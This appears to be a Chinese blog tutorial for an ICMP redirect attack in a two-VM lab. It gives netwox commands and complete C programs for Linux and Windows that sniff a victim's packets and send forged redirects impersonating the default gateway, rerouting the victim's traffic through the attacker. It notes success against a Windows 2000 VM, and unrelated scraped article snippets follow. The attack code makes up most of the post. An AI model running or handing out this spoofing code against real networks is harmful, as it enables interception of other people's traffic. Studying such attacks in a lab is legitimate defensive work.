搭建环境

两台虚拟机。

攻击者:192.168.1.8

被攻击者:192.168.1.9



网络配置



主机均采用DHCP

如果没有路由器,可以使用NAT模式来做

攻击者配置

打开转发数据包功能

# sudo sysctl net.ipv4.ip_forward=1

安装攻击软件netwox

# sudo apt-get install netwox

被攻击者配置

安装抓包软件Wireshark

# sudo apt-get install wireshark

注意:启动时,也要用root权限

开始攻击

# sudo netwox 86 -d "eth0" -g "192.168.1.8" -i "192.168.1.1"

-g:攻击者IP

-i:默认网关IP



查看攻击状态

攻击者伪造默认网关192.168.1.1发送重定向数据包,欺骗192.168.1.9向新的网关192.168.1.8转发数据包



被攻击者路由跟踪



linux攻击

#include <pcap.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/types.h> /* See NOTES */
#include <sys/socket.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h> #define MAX 1024
#define SIZE_ETHERNET 14 #define ICMP_ECHOREPLY 0 /* Echo Reply */
#define ICMP_DEST_UNREACH 3 /* Destination Unreachable */
#define ICMP_SOURCE_QUENCH 4 /* Source Quench */
#define ICMP_REDIRECT 5 /* Redirect (change route) */
#define ICMP_ECHO 8 /* Echo Request */
#define ICMP_TIME_EXCEEDED 11 /* Time Exceeded */
#define ICMP_PARAMETERPROB 12 /* Parameter Problem */
#define ICMP_TIMESTAMP 13 /* Timestamp Request */
#define ICMP_TIMESTAMPREPLY 14 /* Timestamp Reply */
#define ICMP_INFO_REQUEST 15 /* Information Request */
#define ICMP_INFO_REPLY 16 /* Information Reply */
#define ICMP_ADDRESS 17 /* Address Mask Request */
#define ICMP_ADDRESSREPLY 18 /* Address Mask Reply */
#define NR_ICMP_TYPES 18 /* Codes for REDIRECT. */
#define ICMP_REDIR_NET 0 /* Redirect Net */
#define ICMP_REDIR_HOST 1 /* Redirect Host */
#define ICMP_REDIR_NETTOS 2 /* Redirect Net for TOS */
#define ICMP_REDIR_HOSTTOS 3 /* Redirect Host for TOS */ const unsigned char *Vic_IP = "192.168.1.9"; //攻击对象的ip
const unsigned char *Ori_Gw_IP = "192.168.1.1"; //源网关ip。必须要填默认网关IP
const unsigned char *Redic_IP = "192.168.1.8"; //攻击者ip int flag = 0; #define __LITTLE_ENDIAN_BITFIELD
struct iphdr
{
#if defined(__LITTLE_ENDIAN_BITFIELD)
unsigned char ihl:4,
version:4;
#else
unsigned char version:4,
ihl:4;
#endif unsigned char tos;
unsigned short tot_len;
unsigned short id;
unsigned short frag_off;
unsigned char ttl;
unsigned char protocol;
unsigned short check;
unsigned int saddr;
unsigned int daddr;
/*The options start here. */
}; struct icmphdr
{
unsigned char type;
unsigned char code;
unsigned short checksum;
union
{
struct
{
unsigned short id;
unsigned short sequence;
} echo;
unsigned int gateway;
struct
{
unsigned short __unused;
unsigned short mtu;
} frag;
} un;
}; /*计算校验和*/
u_int16_t checksum(u_int8_t *buf, int len)
{
u_int32_t sum = 0;
u_int16_t *cbuf; cbuf = (u_int16_t *)buf; while(len > 1)
{
sum += *cbuf++;
len -= 2;
} if(len)
{
sum += *(u_int8_t *)cbuf;
} sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16); return ~sum;
} void ping_redirect(int sockfd, const unsigned char *data, int datalen)
{
char buf[MAX], *p;
int len, i;
struct packet
{
struct iphdr ip;
struct icmphdr icmp;
char datas[28];
} packet; //手动填充ip头
packet.ip.version = 4;
packet.ip.ihl = 5;
packet.ip.tos = 0; //服务类型
packet.ip.tot_len = htons(sizeof(packet));
packet.ip.id = getpid();
packet.ip.frag_off = 0;
packet.ip.ttl = 255;
packet.ip.protocol = IPPROTO_ICMP;
packet.ip.check = 0;
packet.ip.saddr = inet_addr(Ori_Gw_IP); //要伪造网关发送ip报文
packet.ip.daddr = inet_addr(Vic_IP); //将伪造重定向包发给受害者 //手动填充icmp头
packet.icmp.type = ICMP_REDIRECT;
packet.icmp.code = ICMP_REDIR_HOST;
packet.icmp.checksum = 0;
packet.icmp.un.gateway = inet_addr(Redic_IP);
struct sockaddr_in dest =
{
.sin_family = AF_INET,
.sin_addr = {
.s_addr = inet_addr(Vic_IP)
}
};
packet.ip.check = checksum((u_int8_t *)&packet.ip, sizeof(packet.ip)); //从源数据包的内存地址的起始地址开始,拷贝28个字节到目标地址所指的起始位置中
memcpy(packet.datas, (data + SIZE_ETHERNET), sizeof(packet.datas)); //包里数据
packet.icmp.checksum = checksum((u_int8_t *)&packet, sizeof(packet));
//用于非可靠连接的数据数据发送,因为UDP方式未建立SOCKET连接,所以需要自己制定目的协议地址
//(发送端套接字描述符,待发送数据的缓冲区,待发送数据长度IP头+ICMP头(8)+IP首部+IP前8字节,flag标志位,一般为0,数据发送的目的地址,地址长度)
sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&dest, sizeof(dest)); close(sockfd);
} //pcap_loop()不知道如何处理返回值,所以返回值为空,第一个参数是回调函数的最后一个参数,第二个参数是pcap.h头文件定义的,包括数据包被嗅探的时间大小等信息,最后一个参数是一个u_char指针,它包含被pcap_loop()嗅探到的所有包(一个包包含许多属性,它不止一个字符串,而是一个结构体的集合,如一个TCP/IP包包含以太网头部,一个IP头部还有TCP头部,还有此包的有效载荷)这个u_char就是这些结构体的串联版本。pcap嗅探包时正是用之前定义的这些结构体
void getPacket(u_char *arg, const struct pcap_pkthdr *pkthdr, const u_char *packet)
{
int sockfd, res;
int one = 1;
int *ptr_one = &one; printf("len %d\n", pkthdr->len); //可以接收协议类型为ICMP的发往本机的IP数据包(通信的域,iPv4,套接字通信的类型,原始套接字,套接字类型,接收ICMP-》IP)
//sockfd是socket描述符,为了以后将socket与本机端口相连
if((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0)
{
printf("create sockfd error\n");
exit(-1);
} //包装自己的头部
//发送数据时,不执行系统缓冲区到socket缓冲区的拷贝,以提高系统性能,应为
/**
设置sockfd套接字关联的选 项
sockfd:指向一个打开的套接口描述字
IPPROTO_IP:指定选项代码的类型为IPV4套接口
IP_HDRINCL:详细代码名称(需要访问的选项名字)
ptr_one:一个指向变量的指针类型,指向选项要设置的新值的缓冲区
sizeof(one):指针大小
*/
res = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one)); if(res < 0)
{
printf("error--\n");
exit(-3);
} ping_redirect(sockfd, packet, 0);
} int main(int argc, char **argv)
{
char errBuf[PCAP_ERRBUF_SIZE], * devStr; /* get a device */
devStr = pcap_lookupdev(errBuf);//返回一个合适网络接口的字符串指针,如果出错,则返回errBuf出错字符串,长度为PACP_ERRBUF_SIZE长度 if(devStr)
{
printf("success: device: %s\n", devStr);
}
else
{
printf("pcap_lookupdev error: %s\n", errBuf);
exit(1);
} /* open a device, wait until a packet arrives */
//打开设备进行嗅探,返回一个pcap_t类型的指针,后面操作都要用到这个指针
pcap_t *device = pcap_open_live(devStr, 65535, 1, 0, errBuf); //获得数据包捕获描述字函数(设备名称,参与定义捕获数据的最大字节数,是否置于混杂模式,设置超时时间0表示没有超时等待,errBuf是出错返回NULL时用于传递错误信息) if(device == NULL)
{
printf("pcap_open_live error: %s\n", errBuf);
return -1;
} struct bpf_program filter; bpf_u_int32 netmask = 0xffffff; char filterstr[50] = {0}; sprintf(filterstr, "src host %s", Vic_IP); //将vic_ip按照%s的格式写入filterstr缓冲区 //过滤通信,哪些包是用户可以拿到的
//表达式被编译,编译完就可使用了
if(pcap_compile(device, &filter, filterstr, 1, netmask) < 0) //函数返回-1为失败,返回其他值为成功
{
printf("pcap_compile error: %s\n", errBuf);
return -1;
} //device:会话句柄
//&filterstr:被编译的过滤器版本的地址的引用
//filterstr:表达式本身,存储在规定的字符串格式里
//1:表达式是否被优化的整形量:0:没有,1:有
//0:指定应用此过滤器的网络掩码
//设置过滤器,使用这个过滤器
pcap_setfilter(device, &filter);
//device:会话句柄
//&filterstr:被编译的表达式版本的引用
/* wait loop forever */
int id = 0;
pcap_loop(device, -1, getPacket, NULL);
//device是之前返回的pacp_t类型的指针,-1代表循环抓包直到出错结束,>0表示循环x次,getPacket是回调函数,最后一个参数一般之置为null return 0;
}

Windows攻击

#pragma pack (1)
typedef struct
{
EthernetHeader ed;
IPV4_HDR ip;
ICMPHeader icmp;
u_char data[28];
}IcmpPacket;
#pragma pack () void icmpRedirect(const u_char *pktData)
{
IcmpPacket packet;
memset((void *)&packet, 0, sizeof(packet)); //EthernetHeader
memcpy(packet.ed.SourMAC, this->hostInfo->mac, sizeof(packet.ed.SourMAC));
memcpy(packet.ed.DestMAC, this->destMac, sizeof(packet.ed.DestMAC));
packet.ed.EthType = htons(IP_TYPE); //IP
packet.ip.ip_version = 4;
packet.ip.ip_header_len = 5;
packet.ip.ip_tos = 0;
packet.ip.ip_total_length = htons(sizeof(packet) - sizeof(EthernetHeader)); //不包含以太网头
packet.ip.ip_id=htons(2);
packet.ip.ip_frag_offset = 0;
packet.ip.ip_frag_offset1 = 0;
packet.ip.ip_reserved_zero = 0;
packet.ip.ip_dont_fragment = 1;
packet.ip.ip_more_fragment = 0;
packet.ip.ip_ttl = 8;
packet.ip.ip_protocol = IPPROTO_ICMP;
packet.ip.ip_checksum = 0; packet.ip.ip_srcaddr = inet_addr(this->hostInfo->gatewayIp);//要伪造网关发送ip报文
packet.ip.ip_destaddr = inet_addr(this->destIp.toLatin1().data());//将伪造重定向包发给受害者
//qDebug() << "packet.ip.saddr" << packet.ip.saddr;
//qDebug() << "packet.ip.daddr" << packet.ip.daddr; //qDebug() << "sizeof(packet.ip)" << sizeof(packet.ip); //ICMP
packet.icmp.type = ICMP_REDIRECT;
packet.icmp.code = ICMP_REDIR_HOST;
packet.icmp.checkSum = 0;
//qDebug() << "hostInfo->ip" << this->hostInfo->ip;
u_long nSourceIp = inet_addr(this->hostInfo->ip); //攻击者ip
packet.icmp.un.gateway = nSourceIp; //从源数据包的内存地址的起始地址开始,拷贝28个字节到目标地址所指的起始位置中
memcpy(packet.data,pktData+ETHERNET_HEAD_LENGTH,sizeof(packet.data)); packet.ip.ip_checksum = pcap.checksum(&packet.ip, sizeof(packet.ip));
packet.icmp.checkSum = pcap.checksum((u_char*)&packet + sizeof(EthernetHeader), sizeof(packet) - sizeof(EthernetHeader)); //不包含以太网头 //发送
if (pcap_sendpacket(this->adhandle, // Adapter
&packet, // buffer with the packet
sizeof(packet) // size
) != 0)
{
qDebug("\nError sending the packet: %s\n", pcap_geterr(this->adhandle));
return;
}
}

备注:

测试过,攻击Windows 2000虚拟机是可以成功的

ICMP重定向 Redirect netwox libpcap netwag的更多相关文章

  1. 实验二:ICMP重定向攻击

    -:实验原理 ICMP重定向信息是路由器向主机提供实时的路由信息,当一个主机收到ICMP重定向信息时,它就会根据这个信息来更新自己的路由表.由于缺乏必要的合法性检查,如果一个黑客想要被攻击的主机修改它 ...

  2. [na]icmp重定向

    这个东西最多平时翻看书时候yy以下或者gns3模拟一下, 实际中还真不曾遇到,直到今天,帮别人解决一个问题时候,抓icmp包发现这个.....忘记了原理,梳理一下 icmp重定向问题 参考

  3. ICMP重定向及其攻防技术

    1.ICMP重定向概念: ICMP重定向技术,是用来提示主机改变自己的主机路由从而使路由路径最优化的一种ICMP报文.其概念理解的要义是原主机路由不是最佳路由,而其默认网关提醒主机优化自身的主机路由而 ...

  4. .htaccess技巧: URL重写(Rewrite)与重定向(Redirect)

    URL重定向是.htaccess的重头戏,它可以将长地址转为短地址.将动态地址转为静态地址.重定向丢失的页面.防止盗链.实现自动语言转换等.笔者觉得难点是在正则表达式的运用和理解上. 实现所有这些神奇 ...

  5. .htaccess技巧: URL重写(Rewrite)与重定向(Redirect) (转)

    目录 Table of Contents 一.准备开始:mod_rewrite 二.利用.htaccess实现URL重写(rewrite)与URL重定向(redirect) 将.htm页面映射到.ph ...

  6. GNS3 模拟icmp重定向

    网关实质上是一个网络通向其他网络的IP地址.比如有网络A和网络B,网络A的IP地址范围为“192.168.1.1~192. 168.1.254”,子网掩码为255.255.255.0:网络B的IP地址 ...

  7. 重定向redirect与跳转forward区别

    <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="DemoResponse.a ...

  8. thinkphp 重定向redirect

    /** * URL重定向 * @param string $url 重定向的URL地址 * @param integer $time 重定向的等待时间(秒) * @param string $msg ...

  9. thinkphp51 重定向 redirect()

    thinkphp51 重定向 跨域 redirect() 可以重新定义新的路由,是fetch() 无法做到的.

随机推荐

  1. PHP bcpow BC数学函数

    定义和用法 bcpow - 任意精度数字的乘方 版本支持 PHP4 PHP5 PHP7 支持 支持 支持 语法 bcpow( string $left_operand , string $right_ ...

  2. ES6-Set的增加、查找、删除、遍历、查看长度、数组去重

    set 是es6新出的一种数据结构,里边放的是数组. 作用:去重(set里边的数组不能重复) MDN:Set 对象允许你存储任何类型的唯一值,无论是原始值或者是对象引用. 总结: 1.成员唯一.无序且 ...

  3. Object-C里的类目,延展,协议

    1.类目 类目就是为已存在的类添加新的方法.但是不能添加实例变量.比如系统的类,我们看不到他的.m文件,所以没有办法用直接添加方法的方式去实现. @interface NSMutableArray ( ...

  4. JS 输出

    JS 输出 JavaScript 通常用于操作 HTML 元素. 操作 HTML 元素 如需从 JavaScript 访问某个 HTML 元素,您可以使用 document.getElementByI ...

  5. 微服务与Spring Cloud基本概念、Spring Cloud版本命名方式与版本选择

    微服务是什么?Spring Cloud是什么?Spring Cloud版本命名方式?Spring Cloud版本选择? 一.微服务是什么 微服务是一种架构风格,是一种将单体应用开发为一组小型服务的方法 ...

  6. Android实现九宫拼图过程记录

    算法老师给了一份关于九宫拼图的算法过程用C++写的,让我们自己封装,成为一个有图形界面的工程,我接触过android,c++的mfc,Java的图形界面JUI,网页的css.html.javascri ...

  7. coredump配置、产生、分析以及分析示例

    关键词:coredump.core_pattern.coredump_filter等等. 应用程序在运行过程中由于各种异常或者bug导致退出,在满足一定条件下产生一个core文件. 通常core文件包 ...

  8. DNS服务搭建(正反向解析)

    版权声明:本文为博主原创文章,支持原创,转载请附上原文出处链接和本声明. 本文地址链接:https://www.cnblogs.com/wannengachao/p/11954625.html 1.安 ...

  9. Mac下编译libpomelo静态库,并在cocos2dx项目中引用

    最近在学习cocos2dx的过程中需要和服务器进行交互,所以这几天在学习libpomelo静态库的编译和使用.之前在windows系统下编译libpomelo,并在VS中引入比较顺利:但是,目前对Ma ...

  10. 验证登录的前世今生:session、cookie

    参考地址:彻底理解cookie,session,token 使用JSON Web Token设计单点登录系统 1.很久很久以前,Web 基本上就是文档的浏览而已, 既然是浏览,作为服务器, 不需要记录 ...